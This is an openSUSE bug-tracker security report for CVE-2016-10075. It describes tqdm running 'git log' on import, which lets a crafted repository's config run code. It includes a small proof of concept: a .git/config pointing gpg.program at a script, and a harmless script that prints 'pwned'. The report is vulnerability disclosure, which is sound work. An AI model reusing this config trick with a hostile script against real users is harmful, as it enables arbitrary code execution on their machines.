Bug 1017485 (CVE-2016-10075) - VUL-0: CVE-2016-10075: python-tqdm,python3-tqdm: insecure use of git
Summary: VUL-0: CVE-2016-10075: python-tqdm,python3-tqdm: insecure use of git
Status: RESOLVED FIXED
Alias: CVE-2016-10075
Product: openSUSE.org
Classification: openSUSE
Component: 3rd party software (show other bugs)
Version: unspecified
Hardware: Other Other
: P3 - Medium : Normal (vote)
Target Milestone: ---
Assignee: Todd R
QA Contact: E-mail List
URL: https://smash.suse.de/issue/178135/
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2016-12-29 08:49 UTC by Andreas Stieger
Modified: 2017-03-01 16:59 UTC (History)
3 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Andreas Stieger 2016-12-29 08:49:18 UTC
When importing tqdm, the tqdm._version module executes the following command:

   git log -n 1 --oneline

This was meant to check if the user is running a pre-release version of tqdm.

But cwd might be a part of an unrelated git repository, possibly a malicious one. At least with git 2.10 or later, it's possible to craft a repo in which "git log" executes arbitrary code:


   $ tail -n4 /tmp/.git/config
   [log]
           showSignature = true
   [gpg]
           program = /tmp/moogpg

   $ tail -n4 /tmp/moogpg
   #!/bin/sh
   exec > /dev/tty 2>&1
   cowsay pwned
   sleep 9999

   $ cd /tmp

   $ pydoc tqdm
    _______
   < pwned >
    -------
           \   ^__^
            \  (oo)\_______
               (__)\       )\/\
                   ||----w |
                   ||     ||


Upstream bug report:
https://github.com/tqdm/tqdm/issues/328

Affected versions: v4.4.1 and later.



devel:languages:python/python-tqdm 4.8.4
devel:languages:python3/python3-tqdm 4.10.10


References:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10075
http://seclists.org/oss-sec/2016/q4/775
Comment 1 Swamp Workflow Management 2016-12-29 23:00:15 UTC
bugbot adjusting priority
Comment 2 Todd R 2017-03-01 16:59:04 UTC
Fixes have been submitted